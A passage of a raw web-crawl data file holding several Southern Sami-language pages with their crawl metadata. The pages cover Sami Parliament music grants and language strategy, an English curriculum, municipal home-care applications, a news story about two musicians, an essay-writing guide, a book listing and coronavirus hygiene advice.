aalkoealmetjeartistigujmie tjaaleme.\nSaha Records AS lea daan aejkien vierhtieh åådtjeme göökte albumebæjhkoehtimmide, gusnie akte bæjhkoehtimmie lea akten orkesterasse mij guhkiem gïehtelamme jïh akten joejkijasse mij voestes albuminie båata.\n- Dïhte akte lea Felgen orkester mij popjoejkem hijven kvaltiteeteste åehpiedahta jïh mïsse vietseles goltelidh, jïh mubpie lea Gisle Solengen joejkealbume. Noere joejkije mij aadtjen aalkeme. Solengen lea hijven jïh njaelkie gïele mestie sïjhtebe jïjnjem govledh, saemiedigkieraerie Henrik Olsen minngemosth jeahta.\nMubpie ohtsememierie dåarjoeöörnegese Bæjhkoehtimmie vueleste jïh saemien musihkeste lea voerhtjen 1.b. 2020.\nJis dov leah gyhtjelassh jïh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Henrik Olsen, tell. +47 907 75 219","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Millijovnh-daaarjojne-vadta-baejhkoehtimmide-saemien-musihkeste-jih-vueleste","date":"2020-01-20T17:34:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250599718.13\/warc\/CC-MAIN-20200120165335-20200120194335-00281.warc.gz","language":"sma","language_score":0.9999883175,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999988317489624}","num_words":219,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n- Maahtaldahkeulmieh\n- Faagem vierhtiedidh\nMaahtoeulmieh Jåa2 mænngan – barkoefaageles ööhpehtimmieprogrammh\nGïelelïerehtimmieMål for opplæringen er at eleven skal kunne\n- ovmessie tsiehkieh, barkoevuekieh jïh lïerehtimmievuekieh vuarjasjidh jïh nuhtjedh, juktie jïjtse tjiehpiesvoeth eengelsken gïelesne vijriesåbpoe evtiedidh\n- jïjtse evtiedimmiem vuarjasjidh eengelskelïereminie\n- ovmessie digitaale vierhtieh jïh jeatjah viehkiedïrregh laejhtehkslaakan jïh jïjtjeraarehke vuarjasjidh, jïh dejtie jïjtse gïelelïerehtimmesne nuhtjedh\nNjaalmeldh govlesadtemeMål for opplæringen er at eleven skal kunne\n- sjiehteles goltelimmie- jïh soptsestimmievuekieh vuarjasjidh jïh nuhtjedh mah leah åssjelasse jïh tseahkan ektiedamme\n- guarkedh jïh nuhtjedh aktem gamte sïejhme baakoeveahkam jïh aktem faageles baakoeveahkam mah leah jïjtse ööhpehtimmieprogrammese ektiedamme\n- åejviesisvegem jïh sjïere aath guarkedh ovmessie såarhts njaalmeldh tjaaleginie sïejhme jïh faageles aamhtesi bïjre, ektiedamme jïjtse ööhpehtimmieprogrammese\n- sosijaale jïh geografeles jeerehtsh eengelsken gïeleste goltelidh jïh guarkedh rïektes tsiehkijste\n- jeereldihkie jïh veelelaakan soptsestidh galkije jïh ektiedimmine, sjïehtedamme åssjelasse jïh tseahkan\n- aelkedh, steeredh jïh galhkedh soptsestimmieh jïh digkiedimmieh sïejhme jïh faageles aamhtesi bïjre, ektiedamme jïjtse ööhpehtimmieprogrammese\n- maallh baakoestæmman, intonasjovnem, baakoesojjehtæmman nuhtjedh jïh jeereldihkie raajesesåarhth govlesadtemisnie\n- toelhkestidh jïh teknihkeles jïh matematihkeles bïevnesh nuhtjedh govlesadtemisnie\nTjaaleldh govlesadtemeMål for opplæringen er at eleven skal kunne\n- vuarjasjidh jïh nuhtjedh sjiehteles lohkeme- jïh tjaelemevuekieh, ektiedamme åssjelasse jïh tjaalegesåarhtese\n- aktem gamte sïejhme baakoeveahkam jïh faageles baakoeveahkam guarkedh jïh nuhtjedh, ektiedamme jïjtse ööhpehtimmieprogrammese\n- åejviesisvegem jïh sjïere aath guarkedh gelliesåarhts guhkies jïh åenehks tjaaleginie, ovmessie aamhtesi bïjre\n- lohkedh juktie faagedaajroeh vejtiestidh jïjtse ööhpehtimmieprogrammeste\n- jïjtsh notaath darjodh juktie tjaalegh tjaeledh mah ektiedimmiem utnieh jïjtse ööhpehtimmieprogrammese\n- ovmessie såarhts tjaalegh tjaeledh struktuvrine jïh ektiedimmine, sjïehtedamme åssjelasse jïh tseahkan\n- maallh reaktoetjaeliemasse, baakoesojjehtæmman jïh jeereldihkie raajese- jïh tjaalegebigkemasse nuhtjedh gosse tjaalegh dorje\n- ovmessie såarhts tjaalegh darjodh sjïehtedamme digitaale hammoekrïevenasside, ovmessie digitaale meedijinie\n- ovmessie gaaltijh vuarjasjidh jïh sisvegem gaaltijijstie jïjtjeraarehke jïh laejhtehkslaakan nuhtjedh, jïh naemhtie guktie gåarede gaaltijidie gaavnedh\nKultuvre, siebriedahke jïh lidteratuvreMål for opplæringen er at eleven skal kunne\n- kultuvrem jïh siebriedahketsiehkiem digkiedidh jieniebinie eengelskegïelen laantine\n- sjyöhtehke saernieh åehpiedehtedh jïh digkiedidh eengelskegïelen gaaltijijstie\n- sjïdtedimmiem eengelsken gïeleste digkiedidh goh akte veartenegïele\n- ovmessie såarhts eengelskegïelen lidteræære tjaalegh digkiedidh ovmessie bielijste veartenistie\n- eengelskegïelen filmh jïh jeatjah kultuvrelahtesh digkiedidh ovmessie meedijijstie\n- tjaalegh digkiedidh aalkoealmetjijstie jïh aalkoealmetji bïjre eengelskegïelen laantine\n- aktem faageles aamhtesem goerehtidh jïjtse ööhpehtimmieprogrammen sisnjelen jïh dam åehpiedehtedh\nSide 10 Av 11","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.udir.no\/kl06\/ENG1-03\/Hele\/Kompetansemaal\/maahtoeulmieh-jaa2-maenngan-%E2%80%93-barkoefaageles-%C3%B6%C3%B6hpehtimmieprogrammh?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-01-27T05:54:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694908.82\/warc\/CC-MAIN-20200127051112-20200127081112-00202.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":349,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne jïjtje jallh dov saadthalmetjem viehkiegïetedallijem voeres- jih ov-vervide gaskesadta. Jis datne akten saadthalmetjem åtnah akten tjaaleldh tjaatsegem (fullmaktem)krïeven.\nSyökemem datne jïjtje laahpah jallh lïhkesadtjijem dam laahpa. Jis datne skïemtjegåetene leah dellie skïemtjesåjhtoebarkijidie viehkiegïetedallijem bïeljelieh.\nDatne tjïelten viehkiegïetedallijem\/LSS-gïetedallijem gaskesadth mij dov syökemem dåastohte. Datne maahtah aaj dov syökemem rïekte daase seedtedh:\nBïerjen tjïelte\/Bergs kommun\nVerksamhetsavdelningen\nBox 73\n845 21 Svenstavik\nMänngan datne dov ieriem sijse seedteme, dov bäjhkoehtimmiem registreren jih diarietjaaleldh sjädta eannnan maahta akten mijjen gïetedallijasse veedtedh. Syökemen\/bäjhkoehtimmien männgan, datne aktem hïejmemïnnemem akten viehkiegïetedallijijste åadtjoeh jallh akten såjhtoesoejkesjimmiem skïemtjegåetesne daajhtoen.\nAkten tjïelkestimmiem daajhtoen ihke dööpmedh mij daerpiesvoeth viehkijste datne åtnah.\nTjïelkestimmesne datne gyhtjelassh dan bïjre åadtjoeh\nDov\nGïetedallijisnie naan låhkoeh sillh leah. Mijjieh ieriem geahtjedibie jih dutnjien bïeljelibie jis tjoerebe jienebh bïevnesh ierese utnedh. Gïetedallijen männgan ieriem lea nännoestämman ryöjredamme.\nJis ih leah nännoestimmine fuakoes lea mij åådtjeme lea vihkeles ahte datne reeremereaktese laajhtah. Guktie datne darjoeh tjåadtjoen dunnie tjaaleldh nännoestimmesne datne åådteme.\nUppdaterad: 2017-03-20 15.05","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.berg.se\/medborgare\/kommunochpolitik\/saemienreeremedajvesamiskforvaltningskommun\/hokseviehkiejihsajhtoeomsorghjalpochvard\/baeriesalmetjhaldre\/guktiemannesyokemhuransokerjag.4.2a948e2414c4aa4dd9a206ff.html","date":"2020-02-25T00:37:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145989.45\/warc\/CC-MAIN-20200224224431-20200225014431-00428.warc.gz","language":"sma","language_score":0.999984622,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999984622001648}","num_words":152,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Les på norsk:\nÅVLA jïh DJ iDJa utnigan konseertem Oslosne. Daesnie åadtjoejin laavloem «Aarvoes» voestes aejkien govledh.\nOrre laavlosne ÅVLA «mijjieh annje daesnie» lååvle.\nByjjenimmie sijjie lea Bleikvassli, menh daelie Ole-Henrik Bjørkmo Lifjell Oslosne årroeminie.\nGosse onne lij voelph jïh fuelhkieh Åvla satne nommestehtieh.\nDannasinie artistenomme ÅVLA sjïdti.\nGieriesvoete\nVeajkoej ahte Ole-Henrik laavloe dorje. DJ iDJa gihtji Ole-Henrik jis sæjhta uvtelasse seedtedh.\nOle-Henrik tjoeje gosse joejki veelti jïh DJ iDJa gåajkoe seedti. DJ iDJa laavloem dorje.\nVoestes laavloen nomme «Ráhkisvuohta» sjïdti.\n«Ráhkisvuohta» leah seamma goh gieriesvoete.\nAbpe jïele Bjørkmo Lifjell gieriesvoete scenekåanstese utni.\nAarebi jïjnjemes daanhtsoe jïh teaatere. Ij aarebi Bjørkmo Lifjell konseerte dan jïjnje musihkine jïh joejkine utni.\n– Moenedimmieh lea buerie, jïh medtie 50 almetjh konseertese böötin.\nVoelph åadtjoeh govledh musihke mij dah guaktah darjoejigan. Mænngan åadtjoejigan konseertem hööltedh.\nJïh tjoerigan vielie laavloeh darjodh. Dannasinie njieljie vielie laavloeh darjoejigan.\nSå ahte nuekies laavloeh abpe konseertese.\nDah guaktah joe orre sjïehtedimmie orre konseertem utniejægan.\n– Dïhte lea gaajh luste, Bjørkmo Lifjell tuhtjie.\nMaanabaelievoelph\nMarkus Thonhaugen lea DJ iDJa.\nMarkus jïh Ole-Henrik åtna seamma byjjenimmie tjïelte.\nMarkusen aehtjie Skånlandeste båata, menh byjjeni åarjelsaemien dajvesne byjjeni.\nGolme jallh njielje jaepieh Thonhaugen musihke eabnadehti. Gellieh jaepieh dj orre.\nBjørkmo Lifjell jïh Thonhaugen Gaske-Nöörjen Saemieskuvlesne ektesne vaedtsiejigan.\n– Sjidtien iemie månnoeh laavenjostedh jïh manne Håakoem aalkoven maam akt stoerre, Thonhaugen jeahta.\nMarkus musihke abpe sov jïelem lyjhki.\nVihkeles saemien kultuvrh jïh gïelh sov dorjesinie vuesehte.\nThonhaugen NRK noerhtelaantesne barka.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.nrk.no\/sapmi\/dj-idja-feat.-avla-orre-laavloem-dorje-1.14880941","date":"2020-04-05T04:42:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370528224.61\/warc\/CC-MAIN-20200405022138-20200405052138-00399.warc.gz","language":"sma","language_score":0.9990169406,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9990169405937195}","num_words":232,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse datne edtjh digkiedidh tjoerh ussjedidh guktie edtjh digkiedimmiem aelkedh jïh galhkedh. Åejvie-boelhkesne edtjh dah ovmessie biehkieh åehpiedehtedh jïh dejtie digkiedidh.\nSoejkesjidh\nÅvtelen datne aalkah tjaeledh, datne tjoerh soejkesjidh guktie sïjhth dov vaestiedassem bigkedh. Daesnie raerieh guktie edtjh digkiedimmien artihkelem tjaeledh jïh aktem lissie-tjaalegem våaroeminie nuhjedh.\n- Aalkosne datne sïejhmelaakan (generelt) aamhtesen bïjre tjaalah man bïjre edtjh tjaeledh. Tjaelieh gyhtjelassem aalkoen minngie-gietjesne, guktie lohkije guarkoe maam datne edtjh digkiedidh.\n- Åehpiehdehth lissie-tjaalegidie. Mah dah ektesne utnieh?\n- Aelkieh digkiedidh. Datne edtjh unnemes göökte jallh golme buerie argumeenth gåabpatjahkijste bielijste utnedh, dovne aevhkieh jïh dåeriesmoerh.\n- Galhkuve.\nAelkedh tjaeledh\nDaelie datne edtjh haarjanidh tjaeledh.\nTjaelieh:\n- Hijven aalkoem\n- Göökte boelhketjh åejvie-boelhkesne. Tjaelieh aktem argumeentem maam aevhkiem vuesehte jïh aktem argumeentem maam dåeriesmoerem vuesehte\n- Hijven galhkuvem\nAalkoe\nAelkieh aalkoem tjaeledh aamhtesen bïjre jïh bïejh dam stuerebe ektievoetese.\nÅejvieboelhken boelhketjh\nEdtjh haarjanidh göökte boelhketjh tjaeledh. Datne edtjh aamhtesen mietie jïh vööste argumenteradidh: Jeatjah gïelh saemien gïelem tsevtsieh. Tjaelieh voestegh aktem boelhketjem gusnie argumenteredh man åvteste saemien-gïele daaroen-gïeleste tsavtseme. Tjaelieh dan mænngan aktem boelhketjem gusnie datne daan vööste argumenteredh.\nGuktie boelhketjem bigkedh\nGosse edtjh boelhketjh ussjedamme-tjaaleginie bigkedh, dellie maahtah naemhtie ussjedidh:\n- Aelkieh raajesinie maam tjïelkeste man bïjre daate boelhketje.\n- Goerehth lahtestimmie-raajesinie, aktem jallh göökte.\n- Nuhtjh sjiehteles vuesiehtimmieh dov teekstesne\/tjaalegisnie.\n- Minngemes edtjh iktedidh jïh konkluderadidh.\nRaerie: Mujhtieh faage-dïejvesh jïh faage-maahtoem nuhtjedh.\nGalhkuve\nBuerie raerie dutnjien: Mujhtieh galhkuvem tjaeledh!\nGellie laavenjassh maehtieh göökte boelhketjh utnedh, gusnie datne edtjh dov jïjtje vuajnoem tjïelkestidh mubpene boelhketjisnie. Jis datne dejnie orrijih, dellie ij leah dov naan galhkuve.\nGalhkuve lea tjïelkes boelhketje tjaalegen minngie-gietjesne. Mujhtieh aalkoem lohkedh åvtelen aalkah galhkuvem tjaeledh. Dov lea gyhtjelasse aalkoen minngie-gietjesne? Jis dov lea, dellie maahtah tjïelke vaestiedassem tjaeledh galhkuvisnie.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/resource:5f6f841e-e9d9-4876-aa10-397acb50b31e","date":"2020-08-11T17:11:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738816.7\/warc\/CC-MAIN-20200811150134-20200811180134-00130.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":270,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ellies jih vihties gïelebarkoe\nAajkoe daejnie strategijine lea gaajhkh hijven raeriestimmieh Vaajmoegïeleste, jïjtjene dååjrehtimmieh jïh daaletje råajvarimmieh akten ellies gïelebarkose tjöönghkedh\nMijjien maadthvuajnoen mietie dellie saemien jïh nöörjen edtjieh mïrrestalledh jïh seammavyörtegs gïeline årrodh. Juktie dagkeres ulmiem jaksedh sæjhta daerpies årrodh nænnoes gïelebarkojne gaajhkine siebriedahkesuerkine. Daate strategije edtja tjïelke otnjegem gïelepolitihkese vuesiehtidh, jïh ulmine åtna aktem ihkuve jarkelimmiem siebriedahkesne vedtedh\nGïelelutnjeme - Giellalåpptim - Giellalokten lea Saemiedigkien guhkiebasse barkoe saemien gïeligujmie, jïh åssjaldahke lea dah edtjieh gellie jaepieh vaasedh. Strategijh leah vijries, jïh Saemiedigkien ellies jïh suerkiedåaresth gïelepolitihkem vuesehte dejtie båetije jaepide. Strategijesne gellie tjïelke råajvarimmieh ovmessie siebriedahkesuerkine, jïh sæjhta lïhke laavenjostoem krïevedh dovne voenges, regijonaale jïh nasjonaale aktöörigujmie.\nSaemien gïelh leah vihkeles fïereguhten gïeleutniejasse, saemien årroejidie jïh evtiedæmman saemien siebriedahkese. Saemien gïele ij leah ajve gaskesadtemen bïjre, men lea lïhke ektiedamme saemien identiteetese, kultuvreaarpan jïh ektievoetese. Saemien gïelh leah symbovle mijjen ektievoetese, mijjen aarpan jïh mijjen baantese mijjen maadtojde mijjen åvtelen. Gïelen tjïrrh akte ektievoete sjïdtede, saaht maam saemien gïelide almetje maahta jallh man vaenie jallh jïjnje akte almetje gïelem haalvoe.\nSaemien gïelepolitihke lea dan åvteste dovne aktem dasseme gïelem bååstede vaeltedh, jïh saemien gïelem evtiedidh dejnie dajvine gusnie gïele aarkebiejjien jieliedisnie åtnasåvva. Jalhts gïeletsiehkieh leah joekehts dellie gïele mijjem ektede akten ektie sjaavnjoen tjïrrh saemien gïelh vaarjelidh, evtiedidh jïh nænnoestehtedh. Saemien gïelepolitihke lea aaj mieriekrïevenassi bïjre, laakestuvrehtimieh jïh aarkebiejjien bïjre gïeleutniejidie. Saemien gïelh leah gaajhki siebriedahkesuerkiej bïjre, jïh akte hijven gïelepolitihke tjuara dam vuesiehtidh. Saemiedigkie sæjhta saemien gïelh edtjieh govlesovvedh, åtnasovvedh jïh vååjnedh siebriedahkesne, jïh Saemiedigkien gïelestrategije Gïelelutnjeme - Giellalåpptim - Giellalokten fokusem beaja vååjnedehtiemasse, evtiedæmman, dåårrehtæmman jïh maahtoelutnjemasse gaajhkine njieptjine. Strategije sæjhta aktem sjïere barkoem bïejedh gïelefaalenasside maanide jïh noeride. Gïelelutnjeme - Giellalåpptim - Giellalokten aaj fokusem beaja laavenjostose jïh iktedæmman gaskem institusjovnh, årgaanh jïh siebrieh mah saemien gïeligujmie berkieh.\nSaemiedigkie sæjhta saemien gïelh nænnoestidh jïh evtiedidh gaajhkine njieptjine gaajhki siebriedahkesuerkiej sisnjelen. Sïjhtebe gaajhkh saemien gïelh edtjieh hijven nuepieh utnedh evtiesovvedh, jïh mijjen gïelepolitihke edtja viehkiehtidh saemien gïelide nænnoestidh jïh evtiedidh.\nMijjen visjovne\nMijjen visjovne lea saemien gïelh edtjieh akte iemie bielie årrodh siebriedahkeste, jïh gaajhkesh edtjieh nuepiem åadtjodh saemien govledh, vuejnedh jïh nuhtjedh gaajhkine siebriedahkesuerkine. Saemien gïelh edtjieh akte iemie bielie aarkebiejjeste årrodh dovne dejtie mah saemiestieh jïh daaroestieh.\nMijjen vihkielommes laavenjasse daennie barkosne sæjhta årrodh sijjiem saemien gïelide sjugniedidh. Daate sæjhta jiehtedh mijjieh tjoerebe saemien gïelelïerehtæmman sjïehteladtedh, åtnose saemien gïeleste sjïehteladtedh gaajhkine areenine siebriedahkesne, hijven mieriekrïevenassh utnedh jïh laakh mah reaktam gorredieh saemien gïelh nuhtjedh. Mijjieh sïjhtebe sijjiem saemien gïelide sjugniedidh ovmessie barkoej tjïrrh, mah sijhtieh dovne vierhtieh almetjijstie jïh ekonomeles vierhtieh, gïelefaageles evtiedimmiem jïh jarkelimmiem krïevedh daan beajjetje mierievierhkeste.\nMijjieh sïjhtebe gaajhkh saemien gïelh edtjieh hijven evtiedimmienuepieh utnedh, jïh mijjen gïelepolitihke edtja viehkiehtidh guktie saemien gïelh sjidtieh jïh evtiesuvvieh fïereguhten gïeletsiehkien mietie dejnie ovmessie gïeledajvine. Mijjieh daejrebe saemien gïeletsiehkie lea joekehts dejnie ovmessie gïeledajvine, jïh eevre vihkeles dïhte båetijen aejkien gïelepolitihke daam våaroeminie åtna. Saemien gïelh leah gellielaaketje, jïh dovne doh dajvh gusnie saemien åtnasåvva, låhkoe gïeleutniejijstie jïh nuepieh saemien nuhtjedh leah joekehts. Mearan saemien muvhtine dajvine lea akte jieliehtimmie- jïh evtiedimmietsiehkesne, saemien lea jienebelåhkoegïeline jeatjah dajvine jïh iemie gaskesadtemegïeline åtnasåvva aarkebiejjien. Mijjen laavenjasse lea sjïehteladtedh guktie gaajhkh saemien gïelh, saaht mennie gïeletsiehkesne gïele lea, nænnoesåbpoe sjidtieh jïh evtiesuvvieh. Dam bööremeslaakan darjobe aktene lïhke laavenjostosne dej ovmessie gïelebyjresigujmie.\nGïelepolitihke aaj saemiepolitihke mij kultuvrem, healsoem, lïerehtimmiem, aerpievuekien jielemh, justijsem jïh maanah jïh noerh feerhmie. Gïele lea gaajhki suerkiej bïjre siebriedahkesne, jïh sæjhta dan åvteste akte ektie dïedte årrodh suerkiej dåaresth. Juktie hoksedh saemien gïelh leah ellies jïh siebriedahkeguedtije gïeline Saepmien nöörjen bielesne, dellie gïelepolitihke suerkiej dåaresth jåhta. Daate sæjhta jiehtedh gaajhkesh mah dïedtem utnieh politihkeevtiedimmien jïh byögkelesvoeten barkoen åvteste tjuerieh gïelepolitihkem krööhkestidh gosse jïjtsh sektovrepolitihkem hammoedieh jïh tjïrrehtieh.\nEllies jïh akteraeresne gïelepolitihkine, gusnie nasjonaale, regijonaale jïh tjïelten åejvieladtjh jïh jeatjah aktöörh laavenjostoeh, edtjebe sjïehteladtedh guktie saemien gïelh iemie jïh jielije gïeline sjidtieh siebriedahkesne. Mijjieh edtjebe sjïdtemem, barkoesijjieh, våajnoes saemien gïelh jïh nænnoes gïelebyjresh sjugniedidh. Gosse nænnoes gïelebyjresh tseegkie dellie dïhte hijven lïerehtimmienuepieh vadta, jïh sijjiem sjugnede guktie saemien gïelh evtiesuvvieh, mij vihth dejtie båetijen aejkien gïeleutniejidie gorrede.\nMijjen veeljemh don båetijen aejkien evtiedæmman saemien gïelijste edtjieh lissiehtamme gïeledarjoemidie sjïehteladtedh gosse aktöörh abpe siebriedahkesne meatan sjidtieh. Juktie mijjieh jaehkebe saemien jïh nöörjen edtjieh maehtedh mïrrestalledh jïh seammavyörtegs gïeline årrodh siebriedahkesne, jïh gïelh maehtieh loevtsæjresne nænnoesåbpoe sjïdtedh jïh evtiesovvedh. Mijjieh libie daajroem jïh dååjrehtimmiem ribleme guhkiem man åvteste mijjieh riejries aktem stuvrije råållam vaeltedh juktie saemien gïelh nænnoestehtedh jïh evtiedidh.\nDoh golme åejviebarkoesuerkieh Gïelelutnjemisnie lea gïelefaalenasse maanide jïh noeride, vååjnedehteme jïh laavenjostoe, jïh maahtoelutnjeme jih dåårrehtimmie.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/giele\/gielelutnjeme-giellalapptim-giellalokten-saemiedigkien-strategijh-saemien-gielide\/","date":"2020-10-20T11:01:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107872686.18\/warc\/CC-MAIN-20201020105000-20201020135000-00260.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":733,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Byjjesfaamoe, dïedte jïh råållah jollebe ööhpehtimmien jïh dotkemen sisnjeliSaemiedigkien byjjesfaamoe jollebe ööhpehtimmien jïh dotkemen sisnjeli baajnehte guktie daate suerkie daajroe-evtiedimmiem gorrede maam saemien siebriedahke daarpesje. Saemiedigkie dan åvteste barkeminie Saemiedigkien tjïelke byjjesfaamoem suerkien sisnjelen nænnoestidh laaki jïh mieriedimmiej tjïrrh, jïh rååresjimmiej tjïrrh staateles åejvieladtjigujmie. Daan raajan Saemiedigkie rååresjamme jïh seamadamme Maahtoedepartemeentine saemien sisvegen bïjre gaajhkine lohkehtæjjaööhpehtimmine jïh healsoe- jïh sosijaalefaage-ööhpehtimmine. Saemiedigkie göökte ståvroelïhtsegh jïh aktem sæjjasadtjem nammohte Saemien jïlleskuvlen ståvrose. Saemiedigkie lea Mette Anti Gaupem jïh Idar Peder Kintelem nammoehtamme Saemien jïlleskuvlen ståvrose boelhkese 2019-2022. Sæjjasadtje lea Kajsa Kemi Gjerpe. Lohkh vielie Saemien jïlleskuvlen ståvroen bïjre Saemiedigkie aaj krïeveme nammoehtimmiefaamoem åadtjodh Noerhte universiteeten jïh UiT Nöörjen arktiske universiteeten ståvrojde, juktie daah institusjovnh jollebe ööhpehtimmiem jïh dotkemem sijjen dïenesjefaalenassesne utnieh. Maahtoedepartemeente baaji moenehtsem, mij edtji raeriestimmine båetedh orre laakese universiteeti jïh jïlleskuvli bïjre, gyhtjelassem vijriesåbpoe byjjesfaamoen bïjre Saemiedægkan vuarjasjidh: NOU 2020:3 Orre laake universiteeti jïh jïlleskuvli bïjre, bööti goevten 13.b. Moenehtse lea raeriestamme Saemiedigkien daan-beajjetje nammoehtimmiefaamoem båarhte vaeltedh, guktie Saemiedigkie dam faamoem dassa maam daan-beajjetje universiteete- jïh jïlleskuvlelaake vadta. NOU 2020:3 lea sïejhme govlehtæmman seedtesovveme govlehtimmiemierine suehpeden 22.b. 2020.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/jollebe-oohpehtimmie-jih-dotkeme\/byjjesfaamoe-diedte-jih-raallah-jollebe-oohpehtimmien-jih-dotkemen-sisnjeli\/","date":"2020-10-30T15:44:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00598.warc.gz","language":"sma","language_score":0.9999901056,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999901056289673}","num_words":174,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Elvebakk, Tone Balto, Kjersti M. Skåden, Asbjørg Pedersen, Solfrid Fjellaksel Bertije Skániid Girjie Vaadtasovvemejaepie 2009 Faage Religiovne jïh etihke KRJL Siebriedahkefaage Saemien histovrije jïh siebriedahke Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 9788291973357 Formaate Sïejhme gærja Reakta-aajhtere Skániid Girjie Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 30 Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Eatnemelearoe Åålmege jïh laanth Histovrije Saemien histovrije Kultuvre Litteratuvre Religiovne Jielemevuajnoe Etihke Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/ovttas.no\/sma\/node\/5507","date":"2021-06-20T10:10:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487660269.75\/warc\/CC-MAIN-20210620084505-20210620114505-00483.warc.gz","language":"sma","language_score":0.9966642857,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.99666428565979}","num_words":64,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Suetie, inkubasjovnetïjje jïh teestadimmie\n- Mij sjugniehtåvva jis leam naakenen lïhke orreme mij suetiem åådtjeme?\n- Inkubasjovnetïjje jïh symptomh\n- Maam darjoem jis vïenhtem manne leam suetiem åådtjeme?\n- Raajnes gïeth leah vihkeles juktie gaskesesuetiem heerredidh\n- Ij leah juvnehtimmie njaelmieskuvmiem nuhtjedh healsoedïenesjen ålkolen\n- Gie byöroe koronavijruseteestem vaeltedh?\n- Bïsseme gåetesne jïh byögkeles sijjine\nKoronavijruse laaneste dan tjïrrh mij gohtjesåvva trahpasuetie. Koronavijruse smaave trahpine gååvnese mij olkese båata njaelmien jïh njuenien tjïrrh gosse almetje mij suetiem åtna, gåssa jallh gasna. Sïejhmemes suetievuekie lea gosse suetietrahpah sïjse voejngehth mah elmesne girtieh, jallh datne vijrusem gïetine åadtjoeh jïh dejtie dov sïjse åadtjoeh jis ååredæjjam doehtedh.\nDam maahtah darjodh juktie suetiem heerredidh:\n- Aellieh gossh jallh gesnieh ryöktesth mubpide.\n- Utnieh unnemes aktem meeterem gåhkoem almetjidie mah gosseminie.\n- Gossh låammelijnien sïjse paehpieristie maam mænngan sleengkh. Dan mænngan tjoerh gïetide bissedh.\n- Jis ih låammelijniem paehpieristie utnieh, byörh gernjeregaevien sïjse gossedh ollh trahph alman geerjehth.\n- Bïssh gïetide daamtaj jïh veelelaakan tjoeline jïh lïenetjaetsine, joekoen gosse ålkone orreme almetji gaskem.\n- Maahtah aaj desinfeksjovnevierhtiem nuhtjedh mesnie alkohovle, jis dov ij leah tjoele jïh 